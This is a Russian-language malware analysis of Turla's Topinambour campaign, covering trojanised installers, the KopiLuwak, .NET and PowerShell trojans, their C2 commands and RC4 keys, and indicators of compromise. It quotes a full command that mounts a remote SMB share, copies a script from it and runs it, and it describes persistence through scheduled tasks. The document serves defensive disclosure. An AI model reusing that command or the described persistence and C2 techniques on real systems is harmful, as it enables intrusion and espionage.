Topinambour — новое орудие в арсенале Turla

Русскоязычная APT-группировка Turla, также известная как Venomous Bear, Waterbug и Uroboros, известна с 2014 года, хотя ее историю можно проследить до 2004 года и даже ранее. Группировка оперирует комплексной платформой кибератак и обращает внимание преимущественно на дипломатические и правительственные цели, особенно на Ближнем и Дальнем Востоке, в Центральной Азии, Европе, Северной и Южной Америке и бывших социалистических странах.

Судя по всему, в 2019 году участники Turla начали активно обновлять свой арсенал. Используя прежний, хорошо знакомый экспертам стиль написания кода, они создают совершенно новые инструменты. Эта статья посвящена нескольким из них — а именно Topinambour и связанным с ним модулям. Сразу оговоримся, что назвать .NET-зловред в честь сельскохозяйственной культуры (топинамбура, или земляной груши) придумали не мы, а сами разработчики.

Новые модули уже были замечены в активной кампании в начале 2019 года. Как и раньше, группировка прицельно бьет по правительственным мишеням. Сам Topinambour представляет собой .NET-модуль, который используется на начальных стадиях атаки и предназначен для загрузки уже известного троянца KopiLuwak, написанного на JavaScript, и его аналогов. О последних сразу расскажем немного подробнее. Дело в том, что помимо новых средств доставки у группировки появились и новые троянцы, по функциям очень похожие на KopiLuwak: обфусцированный на языке PowerShell и на С#.

Среди командных серверов кампании 2019 года оказалось несколько изначально безвредных, но скомпрометированных сайтов WordPress, на которых злоумышленники разместили свои сценарии .php.

На этот раз разработчики зловреда оставили в коде несколько «пасхалок» для жертв и исследователей. Модули .NET включают несколько довольно забавных строк: TrumpTower («Башня Трампа») используется как вектор инициализации для шифрования RC4, а RocketMan! (вероятно, отсылка к прозвищу, которое президент Трамп дал Ким Чен Ыну) и MiamiBeach служат сигнальными сообщениями от зараженного компьютера командному серверу.

Как распространяется Topinambour

Для доставки всего вышеперечисленного жертве операторы используют изначально безвредные установщики ПО с добавлением зловреда. В числе переносчиков такого дроппера могут оказаться, например, средства обхода цензуры в интернете, такие как SoftEther VPN 4.12 и psiphon3, или программы для активации Microsoft Office.

Кроме безвредной программы дроппер содержит миниатюрную утилиту удаленного управления, написанную на .NET и способную выполнять подаваемые оператором консольные команды. Для получения модулей следующей ступени атаки оператор просто отправляет команды net use и copy. Используются общие SMB-ресурсы на арендованных виртуальных частных серверах (VPS). Да, поверить в это сложно, но в 2019 это срабатывает в публичных сетях.

В кампании по распространению Topinambour используются виртуальные серверы, расположенные в ЮАР. Что интересно, их внешние IP-адреса начинаются с 197.168: вероятно, выбранными таким образом адресами операторы пытаются замаскировать трафик под локальный (в локальной сети адреса часто начинаются с 192.168). Горизонтальные перемещения в инфраструктуре жертвы показывают, что также операторы кампании разбираются в протоколе IPv6. Помимо IPv4, они используют и эту более новую версию протокола в своих командах.

В чем состоит цель Topinambour

Назначение всей этой инфраструктуры и модулей JavaScript, .NET и PowerShell — создать «бесфайловую» цепочку атакующих модулей на компьютере жертвы, состоящую из нескольких значений в системном реестре Windows, в которых зашифрован инструмент удаленного администрирования. Последний делает все, что мы привыкли ожидать от типичного троянца: загружает, скачивает и исполняет файлы, а также снимает «отпечатки пальцев» целевой системы. PowerShell-версия этого троянца также позволяет делать снимки экрана.

Троянец Набор команд
JavaScript exit upld inst wait dwld
.NET #down #upload #timeout #stop #sync
PowerShell #upload #down #screen #timeout #stop #sync

Даже системы команд у разных троянцев довольно похожи

Интересные технические особенности

Но зачем создавать вредоносные программы с практически одинаковыми функциями, но на разных языках программирования? Одно из возможных объяснений состоит в том, что так разработчики пытались избежать обнаружения: если одна версия будет замечена на компьютере жертвы, операторы могут попробовать запустить ее аналог. В таблице ниже троянцы сравниваются по ключам шифрования и сигнальным сообщениям на контрольные серверы.

Троянец Ключ шифрования RC4 Сигнальное сообщение командному серверу
KopiLuwak на JavaScript 01a8cbd328df18fd49965d68e2879433 bYVAoFGJKj7rfs1M + хэш на основе даты установки Windows
.NET TrumpTower RocketMan!
PowerShell TimesNewRoman MiamiBeach

Иногда разработчики предпочитают развлекать жертв и исследователей, а не использовать случайные строки

Для анализа дроппера использовался приведенный ниже образец:

SHA256 8bcf125b442f86d24789b37ce64d125b54668bc4608f49828392b5b66e364284
MD5 110195ff4d7298ba9a186335c55b2d1f
Дата компиляции 2018.09.10 12:08:14 (GMT)
Размер 1 159 680
Исходное название topinambour.exe

Проанализированный нами образец дроппера содержит следующие функции

Функция дроппера Описание
unpack_p Распаковывает полезную нагрузку в файл %LOCALAPPDATA%/VirtualStore/certcheck.exe. Буква «p» в названии функции и связанном с ней ресурсе может означать как «payload» (полезная нагрузка).
make_some_noise Обеспечивает постоянное присутствие полезной нагрузки, создавая в планировщике задание, которое запускается каждые 30 минут.
unpack_o Копирует исходный дистрибутив (например, psiphon3) из дропера в директорию %TEMP% и запускает его. Буква «o» в названии функции и связанного с ней ресурса может означать «original» (исходное приложение).

Авторы Topinambour решили назвать функцию персистентности make_some_noise() («пошуми»)

Полезная нагрузка: мини-приложение на .NET

Очень маленькое и легкое приложение, развертываемое дроппером, получает консольные команды Windows от сервера и скрытно выполняет их.

Сначала приложение пытается получить команды от внешнего сервера, затем начинает пробовать IP из локальной сети. Возможно, имеются в виду машины, над которыми операторы уже получили контроль

Первые четыре байта (DWORD), полученные после TCP-запроса к серверу, содержат общую длину следующих за ними данных. Сами такие данные представляют собой консольные команды Windows, незаметно выполняемые интерпретатором (cmd.exe /c).

Дроппер KopiLuwak

С этого места вступает в игру печально известный KopiLuwak. В начале следующего этапа атаки интерпретатор команд незаметно загружает сценарии с командного сервера — SMB-ресурса на удаленном VPS провайдера CELL-C в ЮАР. Для выполнения этой задачи достаточно команд Windows net use и copy.

cmd.exe /c net use \\197.168.0.247\c$ <пароль_пользователя> /user:administrator & copy /y \\197.168.0.247\c$\users\public\documents\i.js $documents\j.js & $documents\j.js

В результате жертва будет заражена обфусцированным зловредом KopiLuwak, написанным на JavaScript.

Деобфусцированный дроппер KopiLuwak, который записывает ключ RC4 в задачу планировщика для персистентности следующей ступени атаки

Его функции описаны в таблице ниже:

Функция сценария Описание
Создание задачи в планировщике Создает задачу в планировщике с названием ProactiveScan и описанием NTFS Volume Health Scan (проверка работоспособности тома NTFS), которая запускает скрипт C:\Users\<имя_пользователя>\AppData\Roaming\Microsoft\Chkdsk.js с параметром -scan Kdw6gG7cpOSZsBeH, представляющим собой ключ RC4
Снятие «отпечатков пальцев» хоста Сохраняет результаты выполнения набора команд, таких как systeminfo, net view, tasklist /v, gpresult /z, dir \x22%programfiles%\x5cKaspersky Lab\x22, tracert www.google.com в файл
%appdata%\Microsoft\x5ct235.dat
Развертывание JavaScript следующей ступени Развертывает скрипт C:\Users\<имя_пользователя>\AppData\Roaming\Microsoft\Chkdsk.js

Скрипт Chkdsk.js расшифровывает еще один сценарий с помощью ключа RC4, из задачи планировщика и запускает расшифрованный код. Код финальной стадии атаки представляет собой более сложный троянец, способный принимать и исполнять команды C&C.

Данные жертв пересылаются операторам в формате XML: каждое сообщение снабжено 16-байтовой сигнатурой в начале и «отпечатком пальцев» компьютера жертвы, который разработчики назвали ridid.

Константа Число байтов Значение и функции
magic 16 С этого «магического числа» начинается каждое зашифрованное сообщение с зараженного компьютера. В описанных образцах байты magic выглядят так: bYVAoFGJKj7rfs1M
ridid 32 Значение хэша на основе даты установки Windows и указанного выше 16-байтового значения magic
RC4 iv 32 Вектор инициализации RC4 для шифрования обмена сообщениями между жертвой и КС. В описанных образцах значение вектора инициализации выглядит так: 01a8cbd328df18fd49965d68e2879433

Деобфусцированный алгоритм создания хэша жертвы, основанный на дате установки Windows и заданной 16-байтовой строке

Зловред обменивается сообщениями со скомпрометированным веб-сайтом на платформе WordPress, получая четырехбайтовые команды с URL-адреса примерно такого вида: http://<легитимный домен>/wp-includes/Requests/Socks.php. Вначале зловред подает сигнал командному серверу и в качестве ответа получает команду, которую должен выполнить.

Команда Описание
exit Отправить «отпечатки пальцев» из файла t235.dat и текст upl в XML-сообщении, затем удалить файл и остановить исполнение сценария.
upld Отправить содержимое файла t235.dat с текстом upl в XML-сообщении. Если такого файла нет или он пуст, по команде отправляется XML-сообщение с текстом opt file no exists or size limit («файл не существует или размер не соответствует лимиту»).
inst Формат команды:

  • три байта сразу после команды — общая длина ответа сервера;
  • три последующих байта представляют собой строку jss;
  • «хвост» — сценарий JavaScript, подлежащий исполнению.

Отправить в XML-сообщении текст good install («успешная установка») и содержимое файла t235.dat. Сохранить выполненный файл JavaScript как %APPDATA%\Microsoft\ghke94d.jss.

wait Ничего не делать.
dwld Формат команды тот же самый, что и для команды inst, однако сценарий с сервера не выполняется сразу. По этой команде расшифрованный код JavaScript сохраняется как %APPDATA%\Microsoft\awgh43.js и отправляется XML-сообщение с текстом success get_parse_command («успешное получение команды для интерпретации»).

KopiLuwak на JavaScript

Загруженный сценарий извлекает исполняемый файл из реестра Windows и запускает его. Подразделы и значения реестра отличаются для разных жертв.

Деобфусцированный скрипт для запуска полезной нагрузки из реестра

Пока не очень ясно, как создаются ключи реестра, однако обычно атакующие используют для этого изначальный .NET-агент заражения. В некоторых образцах имеется также дополнительная функция для получения MAC-адреса жертвы.

Так заканчивается первая цепь заражения для зловреда на JavaScript. Теперь кратко опишем вторую цепочку, в которой зловред работает на .NET.

.NET-троянец RocketMan

Мы называем этот троянец RocketMan из-за строки, которую разработчики используют в сигнале командному серверу. В этом зловреде также есть строка TrumpTower, которая применяется как вектор инициализации для шифрования RC4.

Зловред считывает IP-адрес и порт C&C из реестра, где они были сохранены на предыдущем этапе. Он выполняет следующие команды, которые получает от командного сервера по протоколу HTTP в зашифрованном виде:

Команда Описание
#down Отправить HTTP POST-запрос на http://:/file для загрузки файла с указанным названием на компьютер жертвы.
#upload Отправить HTTP-запрос GET на http://:<порт_КС>/update, расшифровать ответ сервера и загрузить файл на сервер с указанным именем, расположенный по указанному пути
#timeout Извлечь продолжительность паузы из аргумента команды сервера и ждать отведенное время
#stop Отправить HTTP-запрос GET на http://:/exit, остановить работу троянца
#sync Отправить на сервер зашифрованную строку RocketMan!

Троянец MiamiBeach на PowerShell

Разработчики Topinambour также использовали троянец на языке PowerShell. Он содержит около 450 строк, а в качестве вектора инициализации для шифровки переговоров с сервером по протоколу RC4 использует строку TimesNewRoman.

Модуль сигнализирует своему командному серверу, адрес которого жестко вшит в код, строкой MiamiBeach в HTTP POST-запросе. Зловред очень похож на .NET-троянец RocketMan и может исполнять те же самые команды, но кроме того еще и распознает команду #screen, которая позволяет сделать снимок экрана.

Заключение

Поскольку версия KopiLuwak на JavaScript уже известна и публично обсуждается, разработка аналогов этого троянца на базе PowerShell и .NET могла быть шагом, призванным затруднить обнаружение. Использование системного реестра Windows для хранения зашифрованных данных, которые затем эксплуатируются зловредом, вероятно, тоже имеет целью свести риск обнаружения к минимуму и оставить как можно меньше следов — в результате единственной файловой уликой на компьютере жертвы остается крошечное стартовое приложение.

По неясной причине разработчики включили в свои зловреды строки, связанные с Соединенными Штатами, такие как RocketMan!, TrumpTower или make_some_noise. Едва ли этим они пытались навести на ложный след: KopiLuwak — хорошо известный артефакт, которым ранее оперировала исключительно Turla. Злоумышленники не могли не понимать, что его использование позволяет с высокой степенью уверенности отнести новую кампанию именно на счет этой APT-группировки.

Индикаторы заражения

Шаблоны HTTP-запросов GET к командному серверу

  • http://:/file
  • http://:/update
  • http://:/exit

Некоторые хэши MD5, имеющие отношение к кампании

  • 47870ff98164155f088062c95c448783
  • 2c1e73da56f4da619c4c53b521404874
  • 6acf316fed472300fa50db54fa6f3cbc
  • 9573f452004b16eabd20fa65a6c2c1c4
  • 3772a34d1b731697e2879bef54967332
  • d967d96ea5d0962e08844d140c2874e0
  • a80bbd753c07512b31ab04bd5e3324c2
  • 37dc2eb8ee56aeba4dbd4cf46f87ae9a
  • 710f729ab26f058f2dbf08664edb3986

Домены и IP-адреса VPS, используемых как командные серверы

  • 197.168.0.73
  • 197.168.0.98
  • 197.168.0.212
  • 197.168.0.243
  • 197.168.0.247
  • 197.168.0.250

Публикации на схожие темы

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *